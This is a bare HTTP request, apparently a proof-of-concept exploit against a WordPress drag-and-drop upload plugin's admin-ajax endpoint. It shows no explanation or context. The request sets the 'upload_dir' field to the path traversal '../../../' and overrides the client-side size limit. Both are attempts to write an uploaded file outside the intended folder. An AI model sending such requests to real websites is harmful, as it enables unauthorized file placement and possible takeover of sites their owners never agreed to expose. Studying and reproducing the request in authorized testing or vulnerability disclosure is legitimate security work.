POST /wp-admin/admin-ajax.php HTTP/2
Host: example.org
Content-Length: 756
Accept: application/json, text/javascript, */*; q=0.01
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryIzvIrbHjHpxzepPi
X-Requested-With: XMLHttpRequest
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64)

------WebKitFormBoundaryIzvIrbHjHpxzepPi
Content-Disposition: form-data; name="size_limit"

2e+9
------WebKitFormBoundaryIzvIrbHjHpxzepPi
Content-Disposition: form-data; name="action"

dnd_codedropz_upload
------WebKitFormBoundaryIzvIrbHjHpxzepPi
Content-Disposition: form-data; name="upload_dir"

../../../
------WebKitFormBoundaryIzvIrbHjHpxzepPi
Content-Disposition: form-data; name="post_id"

1868
------WebKitFormBoundaryIzvIrbHjHpxzepPi
Content-Disposition: form-data; name="security"

0a4dca2b89
------WebKitFormBoundaryIzvIrbHjHpxzepPi
Content-Disposition: form-data; name="form_id"

9210
------WebKitFormBoundaryIzvIrbHjHpxzepPi
Content-Disposition: form-data; name="upload_name"

foto
------WebKitFormBoundaryIzvIrbHjHpxzepPi
Content-Disposition: form-data; name="upload-file"; filename="pngout.png"
Content-Type: image/png

// image contents
------WebKitFormBoundaryIzvIrbHjHpxzepPi--